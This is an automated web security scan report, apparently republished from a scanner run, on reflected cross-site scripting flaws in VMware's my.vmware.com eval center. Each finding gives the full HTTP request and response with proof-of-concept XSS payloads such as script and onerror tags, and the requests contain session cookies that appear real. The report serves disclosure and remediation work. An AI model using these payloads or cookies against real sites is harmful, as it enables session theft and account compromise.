Report generated by XSS.Cx at Wed Aug 08 09:55:10 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, my.vmware.com

Loading

1. Cross-site scripting (reflected)

1.1. https://my.vmware.com/group/vmware/evalcenter [_evalcenter_WAR_itevals_INSTANCE_z9LN_baseurl parameter]

1.2. https://my.vmware.com/group/vmware/evalcenter [_evalcenter_WAR_itevals_INSTANCE_z9LN_popupmode parameter]

1.3. https://my.vmware.com/group/vmware/evalcenter [lp parameter]

1.4. https://my.vmware.com/web/vmware/evalcenter [lp parameter]

2. HTML does not specify charset

3. Content type incorrectly stated

3.1. https://my.vmware.com/group/vmware/home

3.2. https://my.vmware.com/group/vmware/home/-/consumer/WSRP_10132_0d825b9b__8887__454e__ad6d__51715d3e61fc/normal/view/cacheLevelPage/WDJOMWMzUmhiR1Z5ZEhCdmNuUnNaWFJmVjBGU1gyTjFjM1JoWTJOdmRXNTBjRzl5ZEd4bGRGOTNjM0p3UFRFKg**

3.3. https://my.vmware.com/web/vmware/login



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://my.vmware.com/group/vmware/evalcenter [_evalcenter_WAR_itevals_INSTANCE_z9LN_baseurl parameter]  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /group/vmware/evalcenter

Issue detail

The value of the _evalcenter_WAR_itevals_INSTANCE_z9LN_baseurl request parameter is copied into the HTML document as plain text between tags. The payload 788b3<a>8cbb5955b90 was submitted in the _evalcenter_WAR_itevals_INSTANCE_z9LN_baseurl parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

POST /group/vmware/evalcenter?p_p_id=evalcenter_WAR_itevals_INSTANCE_z9LN&p_p_lifecycle=2&p_p_state=normal&p_p_mode=view&p_p_resource_id=evaldownload&p_p_cacheability=cacheLevelPage&p_p_col_id=column-1&p_p_col_count=1&_evalcenter_WAR_itevals_INSTANCE_z9LN_progId=182&_evalcenter_WAR_itevals_INSTANCE_z9LN_a=DOWNLOAD_FILE&_evalcenter_WAR_itevals_INSTANCE_z9LN_baseurl=https%3a%2f%2fdownload2.vmware.com%2fsoftware%2fvi%2f788b3<a>8cbb5955b90&_evalcenter_WAR_itevals_INSTANCE_z9LN_filename=VMware-VMvisor-Installer-5.0.0.update01-623860.x86_64.iso&_evalcenter_WAR_itevals_INSTANCE_z9LN_popupmode=manual HTTP/1.1
Host: my.vmware.com
Connection: keep-alive
Content-Length: 0
Origin: https://my.vmware.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19
Accept: application/json, text/javascript, */*; q=0.01
Referer: https://my.vmware.com/group/vmware/evalcenter?p=vmware-vsphere5-ent
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: LFR_SESSION_STATE_2293538=1335192679476; _jsuid=3487600930; s_vi=[CS]v1|27C5BE33851D1E96-60000102001AF3DE[CE]; __utma=106857756.408366979.1334541393.1334541393.1334541393.1; __utmz=106857756.1334541393.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; COOKIE_SUPPORT=true; s_nr=1334541514410; JSESSIONID=AE4E0F44104D9F6A72CC51732B42B856; myvmware-wwwa-prod=4guGzVMSjIbGkxCFuADnKD5eFD3y9NC06gqapfggx4Wlo/BhV+ox5EB7VHQdZxMDen9dUPYAk7oTWPg=; ObFormLoginCookie=done; rememberme=on; SYMPHONY_USER=MsJ4RxiqaGAXR7MUPDCh7Q%3D%3D; GUEST_LANGUAGE_ID=en_US; ObSSOCookie=HSIsy5alS8gY5PEKyNBJPlRI%2BSKMG9Ec0gqclx29Vme0NsVU7mI%2BEcBUsvj62u88%2F1H85GRrXAaAuR%2FhzP%2FppR1QLhV%2BzP1baTKH7CewwpW14JG4%2FLwBuOa1tOVwo6AJzhNDmsGFIZ3IKqA%2FzlxYRSSuTW4lPNmwv5C7onUZL8Wz1o093%2F7Mk0mNBfSRvcayIJVZ17gxadI3jw%2B4fqrHuFYOOijUVCzhAYIlH3%2BhT0i%2BQjjbmPcS%2F4G1gXgAXTHsnhtCaMqLi2fex4kSGmA2fBC6eT%2FUgy7TBKaxO3J%2FOZk0nkjWYeqpJDhimu5Mz5SG; jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; JSESSIONID=382A19E5BE91F858A765EA2753C83C9A.node0; BIGipServercommunities-prod-vip-2-pool=1446932746.20480.0000; TS558d30=4e15fb8a41e12da974927df399e13e92501b614841c81b7a4f956bea; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "c61dcf65"
Content-Type: application/json;charset=UTF-8
Content-Length: 263
Cache-Control: max-age=0
Expires: Mon, 23 Apr 2012 14:55:07 GMT
Date: Mon, 23 Apr 2012 14:55:07 GMT
Connection: keep-alive
Set-Cookie: ObSSOCookie=ir0AlcFwb0t4JiGXMAzpHsyhmagA0EFuBsX1UL%2BQfd9%2BU%2BJXpE4s0BeNjfuJDWjTHKT65dpmP0VES72gnlp9MJVCGWc4NBsB6p6055%2FCVCZEtj2LSQXzQEjSFB1%2FMA9GF5ZP3R%2FniCdlXRjFLPH3ZfW6wHAAIHXi7GtO9KHM%2BvfBda5SHaxuA55KdodBV2%2Bb3tmYX8k79%2FvgupvKpk3T4pHfZFgWFz9MbN5Ms6iCLx%2BsHQFLXce25k%2B%2BM8RyV1KS8l27JpCfdREea7QuxciY88VFT%2Fq7pseUzFcvoCye9OdDePGw%2BbuwZ9NsBnIQ2YqX; path=/; domain=.vmware.com;
Set-Cookie: JSESSIONID=279E32D60BD5B2C6B05E2F601D81871E; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Tue, 23-Apr-2013 14:55:07 GMT; Path=/
Set-Cookie: TS558d30=2105b581ada3a2590ee61a49a7d03391501b614841c81b7a4f956d4b; Path=/

{"openmodal":"no","popupurl":"https://download2.vmware.com/software/vi/788b3<a>8cbb5955b90VMware-VMvisor-Installer-5.0.0.update01-623860.x86_64.iso?HashKey=2f1e81366c0df699d6fb9d8cc3e5340d&AuthKey=1335193807_745f58bfe8ae99cd99024d4c9129de01","popupmode":"manual"}

1.2. https://my.vmware.com/group/vmware/evalcenter [_evalcenter_WAR_itevals_INSTANCE_z9LN_popupmode parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /group/vmware/evalcenter

Issue detail

The value of the _evalcenter_WAR_itevals_INSTANCE_z9LN_popupmode request parameter is copied into the HTML document as plain text between tags. The payload a7c01<img%20src%3da%20onerror%3dalert(1)>175b8c18592 was submitted in the _evalcenter_WAR_itevals_INSTANCE_z9LN_popupmode parameter. This input was echoed as a7c01<img src=a onerror=alert(1)>175b8c18592 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

POST /group/vmware/evalcenter?p_p_id=evalcenter_WAR_itevals_INSTANCE_z9LN&p_p_lifecycle=2&p_p_state=normal&p_p_mode=view&p_p_resource_id=evaldownload&p_p_cacheability=cacheLevelPage&p_p_col_id=column-1&p_p_col_count=1&_evalcenter_WAR_itevals_INSTANCE_z9LN_progId=182&_evalcenter_WAR_itevals_INSTANCE_z9LN_a=DOWNLOAD_FILE&_evalcenter_WAR_itevals_INSTANCE_z9LN_baseurl=https%3a%2f%2fdownload2.vmware.com%2fsoftware%2fvi%2f&_evalcenter_WAR_itevals_INSTANCE_z9LN_filename=VMware-VMvisor-Installer-5.0.0.update01-623860.x86_64.iso&_evalcenter_WAR_itevals_INSTANCE_z9LN_popupmode=manuala7c01<img%20src%3da%20onerror%3dalert(1)>175b8c18592 HTTP/1.1
Host: my.vmware.com
Connection: keep-alive
Content-Length: 0
Origin: https://my.vmware.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19
Accept: application/json, text/javascript, */*; q=0.01
Referer: https://my.vmware.com/group/vmware/evalcenter?p=vmware-vsphere5-ent
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: LFR_SESSION_STATE_2293538=1335192679476; _jsuid=3487600930; s_vi=[CS]v1|27C5BE33851D1E96-60000102001AF3DE[CE]; __utma=106857756.408366979.1334541393.1334541393.1334541393.1; __utmz=106857756.1334541393.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; COOKIE_SUPPORT=true; s_nr=1334541514410; JSESSIONID=AE4E0F44104D9F6A72CC51732B42B856; myvmware-wwwa-prod=4guGzVMSjIbGkxCFuADnKD5eFD3y9NC06gqapfggx4Wlo/BhV+ox5EB7VHQdZxMDen9dUPYAk7oTWPg=; ObFormLoginCookie=done; rememberme=on; SYMPHONY_USER=MsJ4RxiqaGAXR7MUPDCh7Q%3D%3D; GUEST_LANGUAGE_ID=en_US; ObSSOCookie=HSIsy5alS8gY5PEKyNBJPlRI%2BSKMG9Ec0gqclx29Vme0NsVU7mI%2BEcBUsvj62u88%2F1H85GRrXAaAuR%2FhzP%2FppR1QLhV%2BzP1baTKH7CewwpW14JG4%2FLwBuOa1tOVwo6AJzhNDmsGFIZ3IKqA%2FzlxYRSSuTW4lPNmwv5C7onUZL8Wz1o093%2F7Mk0mNBfSRvcayIJVZ17gxadI3jw%2B4fqrHuFYOOijUVCzhAYIlH3%2BhT0i%2BQjjbmPcS%2F4G1gXgAXTHsnhtCaMqLi2fex4kSGmA2fBC6eT%2FUgy7TBKaxO3J%2FOZk0nkjWYeqpJDhimu5Mz5SG; jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; JSESSIONID=382A19E5BE91F858A765EA2753C83C9A.node0; BIGipServercommunities-prod-vip-2-pool=1446932746.20480.0000; TS558d30=4e15fb8a41e12da974927df399e13e92501b614841c81b7a4f956bea; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "c3d645aa"
Content-Type: application/json;charset=UTF-8
Content-Length: 288
Cache-Control: max-age=0
Expires: Mon, 23 Apr 2012 14:55:50 GMT
Date: Mon, 23 Apr 2012 14:55:50 GMT
Connection: keep-alive
Set-Cookie: JSESSIONID=A4C6FB359A2834959E0EAE10D71A5A8C; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Tue, 23-Apr-2013 14:55:50 GMT; Path=/
Set-Cookie: TS558d30=71f7e24ed4477df769a1ddec8433ae14501b614841c81b7a4f956d63; Path=/

{"openmodal":"no","popupurl":"https://download2.vmware.com/software/vi/VMware-VMvisor-Installer-5.0.0.update01-623860.x86_64.iso?HashKey=30aa2275824c5c2ba525910617eccd8a&AuthKey=1335193850_fd2c4e3726d699b525315f81990fa33c","popupmode":"manuala7c01<img src=a onerror=alert(1)>175b8c18592"}

1.3. https://my.vmware.com/group/vmware/evalcenter [lp parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /group/vmware/evalcenter

Issue detail

The value of the lp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bcda"><script>alert(1)</script>28d28fb36da was submitted in the lp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /group/vmware/evalcenter?p=free-esxi5&lp=default8bcda"><script>alert(1)</script>28d28fb36da HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: https://www.vmware.com/try-vmware
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: my.vmware.com
Connection: Keep-Alive
Cookie: LFR_SESSION_STATE_2293538=1335196749748; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; myvmware-www=bCK47VA8PmGkYea2Jcry3/7CVKMj00zo0o70G42Q9UgCNW7adQ9Z6CYiwsK2Y+2mlFm9XGRyI+Bs3w==; TS558d30=524b1239fd19f922847bade7c82bb3973c558d6eafe020624f957bea; ObFormLoginCookie=done; myvmware-wwwa-prod=nukL3HYnHOF7epGFuADnKD5eFD3y9J7x0e0YSguPdka9jdDau31GkIHPPd2Ql5Nwoe0b1jTrv703LXw=; rememberme=on; s_nr=1335194486195; s_vi=[CS]v1|27CAB8CB851D0D9B-40000146A00D5D16[CE]; oo_my_home=425a2cd3ec4a9ae127ac60d6d91ac3923b4ccf1f; csat_my=1; ObSSOCookie=%2FP9qqf4PLwFrN7hHGHR7CXV6hB5Sxeo8QuDYdVNR%2BuXWDtRjU9qqM7pruHFjy%2F5gR66s%2F9gMcId5as4qWIFA%2BCbzWKHPXDQu3F9317WbolCpboJB9o4jjcpv5eaVKOtT%2BgZUVtz9KyTPmxQVl8zWyKCpTq6IhJcKxMavHss3hbAfHdRq%2B%2F88rO%2Fz1FMi0%2F7Y1iAQ7VwN2%2FL9p63DsLRLJhqu7b6DUtk7paoZut1nCqed%2Bnb1llOEpZ9IHEqYz6ETcoA57v0i6bqWcBtGSst7V75DC%2BaTjBt9P59bP8OMEqUsF407AfafmA9PoFVMorH%2B; JSESSIONID=50E482250188AB0AF2C5B0E217F273D6; s_cc=true; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520try-vmware%2526pidt%253D1%2526oid%253Dhttps%25253A//www.vmware.com/go/get-free-esxi/%2526ot%253DA%2526oi%253D421%26vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520group%252520%25253A%252520home%2526pidt%253D1%2526oid%253Dhttps%25253A//www.vmware.com/try-vmware%2526ot%253DA%2526oi%253D301; __utma=106857756.768934466.1335196760.1335196760.1335196760.1; __utmb=106857756.2.10.1335196760; __utmc=106857756; __utmz=106857756.1335196760.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); first_pv_191807=1; _jsuid=1340582324

Response

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "aefd1f6d"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Mon, 23 Apr 2012 16:02:07 GMT
Vary: Accept-Encoding
Content-Length: 83147
Date: Mon, 23 Apr 2012 16:02:08 GMT
Connection: keep-alive
Set-Cookie: ObSSOCookie=dCm9E6bhHV38GpviaNpjE8PDe84BiZwfMzBH24PCZtjjUB2IkTpdWwgkPHV53q%2B0aANfiY9NX9Nlel713HCn%2Bfp%2BJdd4cJ69OfU%2BjJEyMfRmBRCGE7b1o4CirCrrM0h%2FpaevrkxfkzyVdUBGZHSd8PPAn9EJ1JC5KIb5Pc25ut3Rn%2FRR844zwwEBxRwxatC5OAaPG1LUQUpRuVhZAXd5BHGa2aDN3eVFSOBVNkE1lmwk90QxHHuaitxazsj%2FdoZp9qmKCmhN7fq4faYlb07XnEPCYpvM0d%2FCVf0Ge6SsybafpQixGT8Ucfui3z5oRM4B; path=/; domain=.vmware.com;
Set-Cookie: TS558d30=524b1239fd19f922847bade7c82bb3973c558d6eafe020624f957bea; Path=/



...[SNIP]...
<button class="primary" type="button" onclick="location.href = '/c/portal/logout?lp=default8bcda"><script>alert(1)</script>28d28fb36da&p=free-esxi5&source=dwnp&locale=en'">
...[SNIP]...

1.4. https://my.vmware.com/web/vmware/evalcenter [lp parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /web/vmware/evalcenter

Issue detail

The value of the lp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21d21"><script>alert(1)</script>47183bd10c was submitted in the lp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /web/vmware/evalcenter?p=free-esxi5&lp=default21d21"><script>alert(1)</script>47183bd10c HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: https://www.vmware.com/try-vmware
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: my.vmware.com
Connection: Keep-Alive
Cookie: GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; myvmware-www=bCK47VA8PmGkYea2Jcry3/7CVKMj00zo0o70G42Q9UgCNW7adQ9Z6CYiwsK2Y+2mlFm9XGRyI+Bs3w==; TS558d30=524b1239fd19f922847bade7c82bb3973c558d6eafe020624f957bea; ObFormLoginCookie=done; myvmware-wwwa-prod=nukL3HYnHOF7epGFuADnKD5eFD3y9J7x0e0YSguPdka9jdDau31GkIHPPd2Ql5Nwoe0b1jTrv703LXw=; rememberme=on; s_nr=1335194486195; s_vi=[CS]v1|27CAB8CB851D0D9B-40000146A00D5D16[CE]; oo_my_home=425a2cd3ec4a9ae127ac60d6d91ac3923b4ccf1f; csat_my=1; ObSSOCookie=%2FP9qqf4PLwFrN7hHGHR7CXV6hB5Sxeo8QuDYdVNR%2BuXWDtRjU9qqM7pruHFjy%2F5gR66s%2F9gMcId5as4qWIFA%2BCbzWKHPXDQu3F9317WbolCpboJB9o4jjcpv5eaVKOtT%2BgZUVtz9KyTPmxQVl8zWyKCpTq6IhJcKxMavHss3hbAfHdRq%2B%2F88rO%2Fz1FMi0%2F7Y1iAQ7VwN2%2FL9p63DsLRLJhqu7b6DUtk7paoZut1nCqed%2Bnb1llOEpZ9IHEqYz6ETcoA57v0i6bqWcBtGSst7V75DC%2BaTjBt9P59bP8OMEqUsF407AfafmA9PoFVMorH%2B; JSESSIONID=50E482250188AB0AF2C5B0E217F273D6; s_cc=true; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520try-vmware%2526pidt%253D1%2526oid%253Dhttps%25253A//www.vmware.com/go/get-free-esxi/%2526ot%253DA%2526oi%253D421%26vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520group%252520%25253A%252520home%2526pidt%253D1%2526oid%253Dhttps%25253A//www.vmware.com/try-vmware%2526ot%253DA%2526oi%253D301; __utma=106857756.768934466.1335196760.1335196760.1335196760.1; __utmb=106857756.2.10.1335196760; __utmc=106857756; __utmz=106857756.1335196760.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); first_pv_191807=1; _jsuid=1340582324

Response (redirected)

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "833b311c"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Mon, 23 Apr 2012 16:03:15 GMT
Vary: Accept-Encoding
Content-Length: 83142
Date: Mon, 23 Apr 2012 16:03:15 GMT
Connection: keep-alive
Set-Cookie: ObSSOCookie=mjQWZ7yqBsK2wSBw0WPSCFjnmZKN6%2B9YOzqOg3GdiHsUac2oSjA7h2tWcqRXlcOUO5Yi9xq4aXjzQdEO0mNP4nV%2BqDK%2BOVTMWtiaN%2BjqWHasYnZXe1Z8VaEPNpBPx5kwgz3Q5Sih%2FIuZAPRF1O%2BhXf6W6zH3KLfLFVdZdXqGmh1qB1bBd8BREXCb1g9dRIi4LzBtKfJwVWSibETNTK7pc5aG0vSztu1mcgwMGgpmB0NrJFqApjtc4bMtPaZR%2BKV7kFC%2Fi57ztYNJOMwcvCnTN%2BLbGZPivJlf%2FjZAXgGzmQP52iCDl1oid2UtdxHe2U85; path=/; domain=.vmware.com;
Set-Cookie: TS558d30=11cdcca98affeee552fa32b893a4c2b93c558d6eafe020624f957d43; Path=/



...[SNIP]...
<button class="primary" type="button" onclick="location.href = '/c/portal/logout?lp=default21d21"><script>alert(1)</script>47183bd10c&p=free-esxi5&source=dwnp&locale=en'">
...[SNIP]...

2. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /gsa/search

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyze the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognized character set, for example charset=ISO-8859-1.

Request

GET /gsa/search?site=kb_collection&client=eval_sr_help&getfields=*&output=xml_no_dtd&filter=0&proxyreload=1&proxystylesheet=eval_sr_help&tpsearch_global=all&num=10&entqr=3&q=VMware%20vSphere&requiredfields= HTTP/1.1
Host: my.vmware.com
Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19
Accept: */*
Referer: https://my.vmware.com/group/vmware/evalcenter?p=vmware-vsphere5-ent
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _jsuid=3487600930; s_vi=[CS]v1|27C5BE33851D1E96-60000102001AF3DE[CE]; __utma=106857756.408366979.1334541393.1334541393.1334541393.1; __utmz=106857756.1334541393.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; COOKIE_SUPPORT=true; s_nr=1334541514410; JSESSIONID=AE4E0F44104D9F6A72CC51732B42B856; myvmware-wwwa-prod=4guGzVMSjIbGkxCFuADnKD5eFD3y9NC06gqapfggx4Wlo/BhV+ox5EB7VHQdZxMDen9dUPYAk7oTWPg=; s_cc=true; s_sq=%5B%5BB%5D%5D; ObFormLoginCookie=done; rememberme=on; SYMPHONY_USER=MsJ4RxiqaGAXR7MUPDCh7Q%3D%3D; GUEST_LANGUAGE_ID=en_US; ObSSOCookie=HSIsy5alS8gY5PEKyNBJPlRI%2BSKMG9Ec0gqclx29Vme0NsVU7mI%2BEcBUsvj62u88%2F1H85GRrXAaAuR%2FhzP%2FppR1QLhV%2BzP1baTKH7CewwpW14JG4%2FLwBuOa1tOVwo6AJzhNDmsGFIZ3IKqA%2FzlxYRSSuTW4lPNmwv5C7onUZL8Wz1o093%2F7Mk0mNBfSRvcayIJVZ17gxadI3jw%2B4fqrHuFYOOijUVCzhAYIlH3%2BhT0i%2BQjjbmPcS%2F4G1gXgAXTHsnhtCaMqLi2fex4kSGmA2fBC6eT%2FUgy7TBKaxO3J%2FOZk0nkjWYeqpJDhimu5Mz5SG; jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; JSESSIONID=382A19E5BE91F858A765EA2753C83C9A.node0; BIGipServercommunities-prod-vip-2-pool=1446932746.20480.0000; TS558d30=4e15fb8a41e12da974927df399e13e92501b614841c81b7a4f956bea

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
x-content-type-options: nosniff
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Vary: Accept-Encoding
Content-Length: 17224
Date: Mon, 23 Apr 2012 14:50:40 GMT
Connection: keep-alive
Set-Cookie: myvmware-www=Trm0Bf1B/2xkes+2Jcry3/7CVKMj0yuIcZc/5QXWIACAIWTZ6pUawR1oTHYlOnUVU4gVlPNngbcq2w==; path=/
Set-Cookie: TS558d30=4e15fb8a41e12da974927df399e13e92501b614841c81b7a4f956bea; Path=/

<div id="search-index">
<div class="holder">
<div class="resultsData">
<div class="pagination-wrapper clearfix">
<div class="results-per-page"><label for="sel_items_per_p
...[SNIP]...

3. Content type incorrectly stated  previous
There are 3 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyze the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


3.1. https://my.vmware.com/group/vmware/home  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /group/vmware/home

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /group/vmware/home?p_p_id=mysupportrequests_WAR_itsupport&p_p_lifecycle=2&p_p_state=normal&p_p_mode=view&p_p_resource_id=mySupportRequestInfoURL&p_p_cacheability=cacheLevelPage&p_p_col_id=column-3&p_p_col_pos=4&p_p_col_count=5 HTTP/1.1
Host: my.vmware.com
Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19
Accept: text/html, */*; q=0.01
Referer: https://my.vmware.com/group/vmware/home
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: LFR_SESSION_STATE_2293538=1335192660915; _jsuid=3487600930; s_vi=[CS]v1|27C5BE33851D1E96-60000102001AF3DE[CE]; __utma=106857756.408366979.1334541393.1334541393.1334541393.1; __utmz=106857756.1334541393.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; COOKIE_SUPPORT=true; s_nr=1334541514410; JSESSIONID=AE4E0F44104D9F6A72CC51732B42B856; myvmware-wwwa-prod=4guGzVMSjIbGkxCFuADnKD5eFD3y9NC06gqapfggx4Wlo/BhV+ox5EB7VHQdZxMDen9dUPYAk7oTWPg=; s_cc=true; s_sq=%5B%5BB%5D%5D; ObFormLoginCookie=done; rememberme=on; SYMPHONY_USER=MsJ4RxiqaGAXR7MUPDCh7Q%3D%3D; GUEST_LANGUAGE_ID=en_US; ObSSOCookie=2Jhw%2B9RXGd8N2Ul5JL8iIhJmpEpk4%2BE1CsiErI8hz2bAKLdJ%2F0q8SiD1Ab4cZi2ENwjxTNMaD6Hj99%2FTi%2FsCo8be1Un1Z8Jb67fLjcyW4h7FFGa%2FFxhUcVW8FvXHmrP2q2M0BmTtWJAmUG%2BPPZUxcmk4wvYd7P9JMBPdAFlO8DZdqXqfWDRXf9l1thGjXraYgQNS7k4gtk2VUKyORDZ86DCV5o%2F2kNv55zQKyWx4U9R9K71QsCrI5RpAVht6MFdt8eJyPikR9SW2%2FJg5qGYVPQFm0e0qU9W52qaD51EYY5XFir1F%2FZbcS0lwLr%2FSJFvs; 